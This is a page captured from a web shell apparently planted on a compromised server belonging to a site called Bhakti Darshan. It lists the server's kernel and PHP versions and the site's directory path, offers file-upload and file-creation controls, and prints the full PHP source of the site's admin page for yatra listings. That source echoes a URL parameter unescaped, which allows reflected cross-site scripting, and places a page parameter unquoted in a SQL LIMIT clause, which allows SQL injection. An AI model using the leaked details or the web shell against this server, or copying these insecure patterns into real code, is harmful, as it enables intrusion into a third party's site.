Cylul007 Webshell
Uname
:
Linux server.vianetmedia.com 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
PHP
:
7.4.33
on
fpm-fcgi
Time
:
03 Jun 2024 02:25:25
Path :
/
home
/
bhaktidarshanin
/
public_html
/
manage_panel
/
File Upload :
New File
New Folder
Current File : /home/bhaktidarshanin/public_html/manage_panel/yatra_darshan_manage.php
Download
HOME
<?php session_start(); include("lib/connect.php"); include("lib/login_verify.php"); ?> <?php $tableName="yatra_darshan"; $targetpage = "yatra_darshan_manage.php"; $limit = 20; $query = "SELECT COUNT(*) as num FROM $tableName WHERE `del_status` = '1'"; $total_pages = mysqli_fetch_array(mysqli_query($link, $query)); $total_pages = $total_pages[num]; $stages = 3; $page = mysqli_escape_string($link,$_GET['page']); if($page){ $start = ($page - 1) * $limit; }else{ $start = 0; } // Get page data $query1 = "SELECT * FROM $tableName WHERE `del_status` = '1' ORDER BY `id` DESC LIMIT $start, $limit"; $result = mysqli_query($link, $query1); // Initial page num setup if ($page == 0){$page = 1;} $prev = $page - 1; $next = $page + 1; $lastpage = ceil($total_pages/$limit); $LastPagem1 = $lastpage - 1; $paginate = ''; if($lastpage > 1) { $paginate .= "<div class='paginate'>"; // Previous if ($page > 1){ $paginate.= "<a href='$targetpage?page=$prev'>previous</a>"; }else{ $paginate.= "<span class='disabled'>previous</span>"; } // Pages if ($lastpage < 7 + ($stages * 2)) // Not enough pages to breaking it up { for ($counter = 1; $counter <= $lastpage; $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } } elseif($lastpage > 5 + ($stages * 2)) // Enough pages to hide a few? { // Beginning only hide later pages if($page < 1 + ($stages * 2)) { for ($counter = 1; $counter < 4 + ($stages * 2); $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } $paginate.= "..."; $paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>"; $paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>"; } // Middle hide some front and some back elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2)) { $paginate.= "<a href='$targetpage?page=1'>1</a>"; $paginate.= "<a href='$targetpage?page=2'>2</a>"; $paginate.= "..."; for ($counter = $page - $stages; $counter <= $page + $stages; $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } $paginate.= "..."; $paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>"; $paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>"; } // End only hide early pages else { $paginate.= "<a href='$targetpage?page=1'>1</a>"; $paginate.= "<a href='$targetpage?page=2'>2</a>"; $paginate.= "..."; for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } } } // Next if ($page < $counter - 1){ $paginate.= "<a href='$targetpage?page=$next'>next</a>"; }else{ $paginate.= "<span class='disabled'>next</span>"; } $paginate.= "</div>"; } ?> <!DOCTYPE html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bhakti Darshan | Yatra Darshan</title> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700,800' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Raleway:100,900,800,700,600,500,400,300,200' rel='stylesheet' type='text/css'> <!-- Google Fonts --> <!-- Styles --> <link rel="stylesheet" href="<?=$base_url2;?>css/bootstrap.css" type="text/css" /> <!-- Bootstrap --> <!-- Custom Scroll Bar --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" type="text/css" /> <!-- Font Awesome --> <link rel="stylesheet" href="<?=$base_url2;?>css/style.css" type="text/css" /> <!-- Style --> <link rel="stylesheet" href="<?=$base_url2;?>css/responsive.css" type="text/css" /> <!-- Responsive Style --> <!-- Script --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script><!-- Jquery --> <script type="text/javascript" src="<?=$base_url2;?>js/bootstrap.js"></script><!-- Bootstrap --> <script type="text/javascript" src="<?=$base_url2;?>js/script.js"></script><!-- Script --> <script src="<?=$base_url2;?>js/jquery-ui.custom.min.js"></script><!-- Jquery UI Custom --> <!-- ******************** Pagination Script Start Here ***********************************--> <style> .paginate { font-family:Arial, Helvetica, sans-serif; padding: 3px; margin: 3px; } .paginate a { padding:2px 5px 2px 5px; margin:2px; border:1px solid #e96969; text-decoration:none; color: #e96969; } .paginate a:hover, .paginate a:active { border: 1px solid #e96969; color: #000; } .paginate span.current { margin: 2px; padding: 2px 5px 2px 5px; border: 1px solid #e96969; font-weight: bold; background-color: #e96969; color: #FFF; } .paginate span.disabled { padding:2px 5px 2px 5px; margin:2px; border:1px solid #eee; color:#DDD; } </style> <!-- ****************************** Pagination Script End Here *************************************************--> </head> <body> <!-- *********** Notification Start *********************--> <?php if($_GET['msg']!=''){ ?> <div id="container" class="ui-notify"> <div class="ui-notify-message ui-notify-message-style green" style=""> <a class="ui-notify-close ui-notify-cross">X</a> <p style="padding-right:20px;"> <?=$_GET[msg];?> </p> </div> </div> <?php } ?> <!-- *********** Notification End ********************* --> <div class="wrapper"> <?php include("fixed_page/left_buttons.php"); ?> <!-- Header End --> <section class="main-section"> <?php include("fixed_page/responsive_menu.php"); ?> <div class="container"> <div class="row"> <div class="main-bg"> <?php include("fixed_page/top_graph_bar.php"); ?> <div class="breadcrumbs-notify"> <a href="#" title="">Home / </a> <a href="#" class="current-page" title=""> Yatra Darshan</a> <?php include('search-form.php');?> <?php include("fixed_page/top_notification.php"); ?> </div> <div class="heading-buttons-sec"> <h1>Yatra Darshan</h1> <div class="heading-buttons"> <a href="add_update_yatra_darshan_query.php" class="btns green sml-btn">Add Yatra Darshan</a> </div> </div> <div class="body-sec"> <div class="col-md-12"> <div class="widget-body"> <div class="widget-heading blue"> <i class="fa fa-table pull-left"></i> <h3 class="pull-left">All Yatra Darshan</h3> <ul> <li class="dropdown panel-function"> <a href="#" data-toggle="dropdown" role="button" id="drop2"> <b class="caret"></b></a> <ul aria-labelledby="drop2" role="menu" class="dropdown-menu" id="menu2"> <li role="presentation"><a class="hide-btn" title="">-</a></li> <li role="presentation"><a class="close-sec" title="">x</a></li> </ul> </li> </ul> </div> <div class="widget-sec"> <table id="country-list" class="sortable-table"> <thead> <tr class="country-table-head"> <th style="font-weight:bold; width:70px;" class="sort-down">Sl. <span>▼</span></th> <th style="font-weight:bold;">Avatar <span> </span></th> <th style="font-weight:bold;">Banner Image <span> </span></th> <th style="font-weight:bold;">Title <span> </span></th> <th style="font-weight:bold;">Description <span> </span></th> <th style="font-weight:bold;">Video id <span> </span></th> <th style="font-weight:bold;">Status <span> </span></th> <th style="font-weight:bold;" class="date-sort" data-date-format="m d Y">Date <span> </span></th> <th style="font-weight:bold;">Action <span> </span></th> </tr> </thead> <tbody> <?php //$result = mysqli_query($link, $query1); while($row_yatra_darshan = mysqli_fetch_array($result)){ $sl++; ?> <tr> <td><?=$sl;?></td> <td><img src="<?=$base_url2;?>image_icon.php?w=100&h=70&img=<?=$row_yatra_darshan['image'];?>" border="1" ALT="" /></td> <td><img src="<?=$base_url2;?>image_icon.php?w=100&h=70&img=<?=$row_yatra_darshan['banner_image'];?>" border="1" ALT="" /></td> <td><?=$row_yatra_darshan['title_name'];?></td> <td><a href="popup_yatradarshan_desc.php?id=<?=$row_yatra_darshan['id'];?>" onClick="return popup(this, 'yatra darshan')">Description</a></td> <td><?=$row_yatra_darshan['vid_id'];?></td> <td><?php if($row_yatra_darshan['status']=='1'){ ?> <a href="yatra_darshan_query.php?action_id=<?=$row_yatra_darshan['id'];?>&status=active"> <button type="button" class="btns green m-m-sml-btn">Active</button> <?php }else{ ?> <a href="yatra_darshan_query.php?action_id=<?=$row_yatra_darshan['id'];?>&status=inactive"> <button type="button" class="btns red m-m-sml-btn ">Inactive</button> </a> <?php } ?></td> <td><?=date("d/m/Y", $row_yatra_darshan['date_time']);?></td> <td><a href="add_update_yatra_darshan_query.php?edit_id=<?=$row_yatra_darshan['id'];?>"><i class="fa fa-edit"></i></a> <a href="yatra_darshan_query.php?del_id=<?=$row_yatra_darshan['id'];?>&status=delete" onclick="return confirm('Are you sure want to Delete?');"><i class="fa fa-trash"></i></a></td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <div align="center"> <?php echo $paginate?> </div> </div> <!-- Body Sec --> </div> <!-- main-bg--> </div> <!-- Row --> </div> <!-- Container --> </section> <!-- Main Section --> </div> <!-- Wrapper --> <SCRIPT TYPE="text/javascript"> <!-- function popup(mylink, windowname) { if (! window.focus)return true; var href; if (typeof(mylink) == 'string') href=mylink; else href=mylink.href; window.open(href, windowname, 'width=900,height=600,scrollbars=yes'); return false; } //--> </SCRIPT> </body> <!-- Body --> </html><!-- Html -->
Copyright © 2018 - Powered By CytoXploit